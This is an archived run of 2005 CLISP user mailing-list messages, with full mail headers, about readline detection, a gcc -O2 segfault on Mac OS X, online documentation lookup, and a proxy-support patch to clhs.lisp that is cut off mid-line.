sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeJ1U-0005Gh-Ey for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 13:16:24 -0800 Received: from smtpauth07.mail.atl.earthlink.net ([209.86.89.67]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeJ1S-00016C-Bn for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 13:16:24 -0800 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=dk20050327; d=earthlink.net; b=LJbe76Ukr1iZJGbBl3MCJGAXUNCVyAvSma2qCDqaNOr9fIw5s7UGVCcM44r5SwZH; h=Received:Message-ID:Date:From:User-Agent:X-Accept-Language:MIME-Version:Newsgroups:To:Subject:References:In-Reply-To:Content-Type:Content-Transfer-Encoding:X-ELNK-Trace:X-Originating-IP; Received: from [24.136.230.128] (helo=[192.168.0.4]) by smtpauth07.mail.atl.earthlink.net with asmtp (Exim 4.34) id 1EeJ1N-0002oG-AZ for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 16:16:17 -0500 Message-ID: <4382391F.3060402@earthlink.net> From: Raymond Toy User-Agent: Mozilla Thunderbird 1.0.6 (Macintosh/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 Newsgroups: gmane.lisp.clisp.general To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-ELNK-Trace: 5f45dc4fe9d55bff4d2b10475b571120114905d20951c4da1b7b94b921af31c68e026455f2fa7cc4350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 24.136.230.128 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 21 13:17:04 2005 X-Original-Date: Mon, 21 Nov 2005 16:16:15 -0500 Sam Steingold wrote: > > > either readline was not found, > or clisp thinks that (= stdin stdout) => nil > > for the first option, "./configure --with-readline" will now fail if it > does not find a useable readline installation (ldd will also help after > you have built already). > > for the second option, you need to look at > clisp/src/stream.d:stdio_same_tty_p and figure out why it returns 0. > I was doing this with 2.35. I will try again with CVS head. BTW, CVS head compiled just fine on Mac OS X. It also didn't use readline, but I'll have to look at that in more detail, since OSX comes with libreadline. Ray From lisp-clisp-list@m.gmane.org Mon Nov 21 13:34:23 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeJIt-00068D-Lx for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 13:34:23 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EeJIs-0001Fd-Ch for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 13:34:23 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EeJFq-0005yO-8W for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 22:31:14 +0100 Received: from user-0c8hpk0.cable.mindspring.com ([24.136.230.128]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 21 Nov 2005 22:31:14 +0100 Received: from rtoy by user-0c8hpk0.cable.mindspring.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 21 Nov 2005 22:31:14 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Raymond Toy Lines: 21 Message-ID: <4382391F.3060402@earthlink.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: user-0c8hpk0.cable.mindspring.com User-Agent: Mozilla Thunderbird 1.0.6 (Macintosh/20050716) X-Accept-Language: en-us, en In-Reply-To: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 21 13:35:09 2005 X-Original-Date: Mon, 21 Nov 2005 16:16:15 -0500 Sam Steingold wrote: > > > either readline was not found, > or clisp thinks that (= stdin stdout) => nil > > for the first option, "./configure --with-readline" will now fail if it > does not find a useable readline installation (ldd will also help after > you have built already). > > for the second option, you need to look at > clisp/src/stream.d:stdio_same_tty_p and figure out why it returns 0. > I was doing this with 2.35. I will try again with CVS head. BTW, CVS head compiled just fine on Mac OS X. It also didn't use readline, but I'll have to look at that in more detail, since OSX comes with libreadline. Ray From sds@gnu.org Mon Nov 21 13:37:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeJM2-0006G2-8r for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 13:37:38 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeJLy-0000TZ-IA for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 13:37:38 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.120]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jALLbAEd004735; Mon, 21 Nov 2005 16:37:10 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4382391F.3060402@earthlink.net> (Raymond Toy's message of "Mon, 21 Nov 2005 16:16:15 -0500") References: <4382391F.3060402@earthlink.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 21 13:38:03 2005 X-Original-Date: Mon, 21 Nov 2005 16:36:10 -0500 > * Raymond Toy [2005-11-21 16:16:15 -0500]: > > BTW, CVS head compiled just fine on Mac OS X. It also didn't use > readline, but I'll have to look at that in more detail, since OSX > comes with libreadline. see clisp/unix/PLATFORMS for that. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.iris.org.il http://pmw.org.il/ http://ffii.org/ http://www.openvotingconsortium.org/ Between grand theft and a legal fee, there only stands a law degree. From johan@liseborn.se Mon Nov 21 22:03:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeRG3-0002Zc-K8 for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 22:03:59 -0800 Received: from argv.frobbit.se ([195.66.31.72] helo=frobbit.se) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeRG0-0002je-Qp for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 22:03:59 -0800 Received: from [81.216.231.238] (account mjl@liseborn.se HELO [192.168.30.39]) by frobbit.se (CommuniGate Pro SMTP 4.3.6) with ESMTPA id 2972914 for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 07:03:40 +0100 Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <34ACF814-E611-4FE3-A459-E2CF93AB2F70@liseborn.se> Content-Transfer-Encoding: 7bit From: Johan Liseborn Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 21 22:04:01 2005 X-Original-Date: Tue, 22 Nov 2005 07:03:42 +0100 On Nov 21, 2005, at 19:22, Sam Steingold wrote: > SUMMARY: > > segfault on startup in closed_buffered() when built with "gcc -O2" > > Exception: EXC_BAD_ACCESS (0x0001) > Codes: KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130 > > Thread 0 Crashed: > 0 lisp.run 0x0006f8b4 closed_buffered + 48 (crt.c:355) > 1 lisp.run 0x0007850c closed_all_files + 108 (crt.c:355) > 2 lisp.run 0x000289ac loadmem_from_handle + 3168 (crt.c:355) > 3 lisp.run 0x00028c68 loadmem + 128 (crt.c:355) > 4 lisp.run 0x00029058 init_memory + 888 (crt.c:355) > 5 lisp.run 0x0002b610 main + 3940 (crt.c:355) > 6 lisp.run 0x00002878 _start + 340 (crt.c:272) > 7 lisp.run 0x00002720 start + 60 > > no segfault when built with "gcc -g" > > is this correct? Correct, but see below. > my current conjecture is that this is a GCC bug. I think you may be right; I recently upgraded to Apples Xcode Tools 2.2, which includes GCC 4.0.1. Before (this thread) I have been using GCC 4.0.0. I now also recompiled CLISP 2.35 using GCC 4.0.1, which also gives the segfault (sorry for not figuring that out earlier). > gcc --version powerpc-apple-darwin8-gcc-4.0.1 (GCC) 4.0.1 (Apple Computer, Inc. build 5247) > uname -a Darwin Johans-Computer.local 8.3.0 Darwin Kernel Version 8.3.0: Mon Oct 3 20:04:04 PDT 2005; root:xnu-792.6.22.obj~2/RELEASE_PPC Power Macintosh powerpc > could you please figure out which optimization switch causes this? > you will need to > 1. configure as usual (no "--with-debug") > 2. build, make sure that you get the crash. > 3. edit build/Makefile and change CFLAGS, removing some optimization > flags > 4. build again and see if you get the crash. > > when you find the specific optimization flag that causes the crash, > please report it here so that makemake will omit it on macos. The "-DSAFETY=3" seems to do the trick. Adding this flag to the original CFLAGS gives a build that does not crash. The CFLAGS that works for me looks like: CFLAGS = -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn- type -Wmissing-declarations -Wno-sign-compare -O2 -DSAFETY=3 - DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -I. I also tried all the combinations below, and they all segfault: * "gcc -O" * "gcc" (no optimaztion) * "gcc -falign-functions=4" (no optimization) * "gcc -falign-functions=4 -g" -- Johan Liseborn From kavenchuk@jenty.by Tue Nov 22 01:56:42 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeUtD-00040X-GP for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 01:56:39 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeUtC-0000fs-2s for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 01:56:39 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id WPT6JZHP; Tue, 22 Nov 2005 11:57:49 +0200 Message-ID: <4382EBAC.8030603@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] heads up - on-line docs, pre-test etc References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 01:57:06 2005 X-Original-Date: Tue, 22 Nov 2005 11:58:04 +0200 attempt No. 2: > 0. read describe is present on this page? I not find it... > 1. check (custom:clhs-root) and see if you like it. [1]> (custom:clhs-root) "C:/CL/doc/HyperSpec/" > 2. make sure that (custom:impnotes-root) returns > "http://www.podval.org/~sds/clisp/impnotes/". [2]> (custom:impnotes-root) "http://www.podval.org/~sds/clisp/impnotes/" > 3. set *browser* to something you like (:default on woe32, cygwin, > macos, :mozilla on other unices) [3]> *browser* :DEFAULT > 4. evaluate (describe 'nreverse) [4]> (describe 'nreverse) NREVERSE is the symbol NREVERSE, lies in #, is accessible in 17 packages ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, MAKE, PCRE, POSIX, RAWSOCK, READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a ;; SYSTEM::GET-CLHS-MAP(#)...978/978 symbols function. ;; starting the default system browser with url "C:/CL/doc/HyperSpec/Body/f_revers.htm"...done ;; connecting to "http://www.podval.org/~sds/clisp/impnotes/id-href.map"...cannot connect to "www.podval.org": Winsock error 10022 (EINVAL): Invalid argument WARNING: IMPNOTES-ROOT returns invalid value "http://www.podval.org/~sds/clisp/impnotes/", fix it, (GETENV "IMPNOTES") or *IMPNOTES-ROOT-DEFAULT* # is the package named COMMON-LISP. It has 2 nicknames LISP, CL. It imports the external symbols of 1 package CLOS and exports 978 symbols to 16 packages ASDF, MAKE, ZLIB, RAWSOCK, PCRE, LDAP, READLINE, REGEXP, POSIX, EXPORTING, FFI, SCREEN, CLOS, COMMON-LISP-USER, EXT, SYSTEM. # is a built-in system function. Argument list: (ARG0). Manually open "http://www.podval.org/~sds/clisp/impnotes/id-href.map" very for a long time, but it is possible. Ah oops, I am behind proxy server - as it to specify? Thansk! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Tue Nov 22 03:49:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeWda-0000qX-3y for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 03:48:38 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeWdY-0003fi-Q6 for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 03:48:38 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id WPT6JZSQ; Tue, 22 Nov 2005 13:49:47 +0200 Message-ID: <438305EC.1000801@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Yaroslav Kavenchuk CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] heads up - on-line docs, pre-test etc References: <4382EBAC.8030603@jenty.by> In-Reply-To: <4382EBAC.8030603@jenty.by> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 03:50:02 2005 X-Original-Date: Tue, 22 Nov 2005 13:50:04 +0200 > Ah oops, I am behind proxy server - as it to specify? > I see clhs.lisp: by analogy to the url-connection from asdf-install (public domain) it is necessary for open-http define *proxy-port* *proxy-host* *proxy-user* *proxy-password* or parse proxy-string "proxy-user:proxy-password@proxy-host:proxy-port" from *proxy* or environment variable HTTP_PROXY. Need help? Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Nov 22 07:19:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeZvB-0003CN-9U for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 07:19:01 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeZv6-0001y8-H7 for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 07:19:01 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.120]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAMFI6aw005180; Tue, 22 Nov 2005 10:18:14 -0500 (EST) To: clisp-list@lists.sourceforge.net, Johan Liseborn Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <34ACF814-E611-4FE3-A459-E2CF93AB2F70@liseborn.se> (Johan Liseborn's message of "Tue, 22 Nov 2005 07:03:42 +0100") References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> <34ACF814-E611-4FE3-A459-E2CF93AB2F70@liseborn.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Johan Liseborn Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 07:20:01 2005 X-Original-Date: Tue, 22 Nov 2005 10:17:06 -0500 > * Johan Liseborn [2005-11-22 07:03:42 +0100]: > > On Nov 21, 2005, at 19:22, Sam Steingold wrote: > >> SUMMARY: >> >> segfault on startup in closed_buffered() when built with "gcc -O2" >> >> Exception: EXC_BAD_ACCESS (0x0001) >> Codes: KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130 >> >> Thread 0 Crashed: >> 0 lisp.run 0x0006f8b4 closed_buffered + 48 (crt.c:355) >> 1 lisp.run 0x0007850c closed_all_files + 108 (crt.c:355) >> 2 lisp.run 0x000289ac loadmem_from_handle + 3168 (crt.c:355) >> 3 lisp.run 0x00028c68 loadmem + 128 (crt.c:355) >> 4 lisp.run 0x00029058 init_memory + 888 (crt.c:355) >> 5 lisp.run 0x0002b610 main + 3940 (crt.c:355) >> 6 lisp.run 0x00002878 _start + 340 (crt.c:272) >> 7 lisp.run 0x00002720 start + 60 >> >> no segfault when built with "SAFETY=3" > > I think you may be right; I recently upgraded to Apples Xcode Tools > 2.2, which includes GCC 4.0.1. Before (this thread) I have been using > GCC 4.0.0. > > I now also recompiled CLISP 2.35 using GCC 4.0.1, which also gives the > segfault (sorry for not figuring that out earlier). > >> gcc --version > > powerpc-apple-darwin8-gcc-4.0.1 (GCC) 4.0.1 (Apple Computer, Inc. build > 5247) > >> uname -a > > Darwin Johans-Computer.local 8.3.0 Darwin Kernel Version 8.3.0: Mon Oct > 3 20:04:04 PDT 2005; root:xnu-792.6.22.obj~2/RELEASE_PPC Power > Macintosh powerpc > >> could you please figure out which optimization switch causes this? >> you will need to >> 1. configure as usual (no "--with-debug") >> 2. build, make sure that you get the crash. >> 3. edit build/Makefile and change CFLAGS, removing some optimization >> flags >> 4. build again and see if you get the crash. >> >> when you find the specific optimization flag that causes the crash, >> please report it here so that makemake will omit it on macos. > > The "-DSAFETY=3" seems to do the trick. Adding this flag to the > original CFLAGS gives a build that does not crash. > > The CFLAGS that works for me looks like: > > -O2 -DSAFETY=3 > > I also tried all the combinations below, and they all segfault: > > * "gcc -O" -O == -O2 how about -O1 ? > * "gcc" (no optimaztion) > * "gcc -falign-functions=4" (no optimization) > * "gcc -falign-functions=4 -g" now please keep -O2 but set SAFETY to different values. SAFETY=0 (default) ==> segfault SAFETY=3 ==> no segfault what about SAFETY=1 and SAFETY=2? BTW, do you observe the segfault with the 2.35 binaries from the SF? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.palestinefacts.org/ http://www.mideasttruth.com/ http://www.honestreporting.com http://www.iris.org.il We're too busy mopping the floor to turn off the faucet. From sds@gnu.org Tue Nov 22 07:21:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeZxd-0003WW-Mr for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 07:21:33 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeZxV-0004xw-CX for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 07:21:33 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.120]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAMFKmxv005367; Tue, 22 Nov 2005 10:21:04 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4382EBAC.8030603@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 22 Nov 2005 11:58:04 +0200") References: <4382EBAC.8030603@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: heads up - on-line docs, pre-test etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 07:22:04 2005 X-Original-Date: Tue, 22 Nov 2005 10:19:49 -0500 > * Yaroslav Kavenchuk [2005-11-22 11:58:04 +0200]: > >> 0. read > describe is present on this page? I not find it... sorry, make it http://www.podval.org/~sds/clisp/impnotes/environment-dict.html#describe -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://pmw.org.il/ http://truepeace.org http://www.openvotingconsortium.org/ http://www.iris.org.il The only substitute for good manners is fast reflexes. From sds@gnu.org Tue Nov 22 07:58:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeaXZ-0005is-Sj for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 07:58:41 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeaXY-0004QA-1w for clisp-list@lists.sourceforge.net; Tue, 22 Nov 2005 07:58:42 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.120]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAMFwFoi007824; Tue, 22 Nov 2005 10:58:15 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <438305EC.1000801@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 22 Nov 2005 13:50:04 +0200") References: <4382EBAC.8030603@jenty.by> <438305EC.1000801@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: heads up - on-line docs, pre-test etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 22 07:59:03 2005 X-Original-Date: Tue, 22 Nov 2005 10:57:14 -0500 > * Yaroslav Kavenchuk [2005-11-22 13:50:04 +0200]: > >> Ah oops, I am behind proxy server - as it to specify? > > I see clhs.lisp: by analogy to the url-connection from asdf-install > (public domain) it is necessary for open-http define *proxy-port* > *proxy-host* *proxy-user* *proxy-password* or parse proxy-string > "proxy-user:proxy-password@proxy-host:proxy-port" from *proxy* or > environment variable HTTP_PROXY. please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.savegushkatif.org http://ffii.org/ http://www.jihadwatch.org/ http://www.camera.org Hard work has a future payoff. Laziness pays off NOW. --- clhs.lisp 19 Nov 2005 23:44:29 -0500 1.31 +++ clhs.lisp 22 Nov 2005 10:51:52 -0500 @@ -85,6 +85,24 @@ --> ~%" 'browse-url url))))) ;;; see also clocc/cllib/net.lisp +(defvar *proxy* nil + "A list of 4 elements (user password host port), parsed from $HTTP_PROXY +proxy-user:proxy-password@proxy-host:proxy-port") +(defun proxy (&optional (proxy-string (getenv "HTTP_PROXY") proxy-p)) + "When the argument is supplied or *PROXY* is NIL, parse the argument, +set *PROXY*, and return it; otherwise just return *PROXY*." + (when (or proxy-p (null *proxy*)) + (check-type 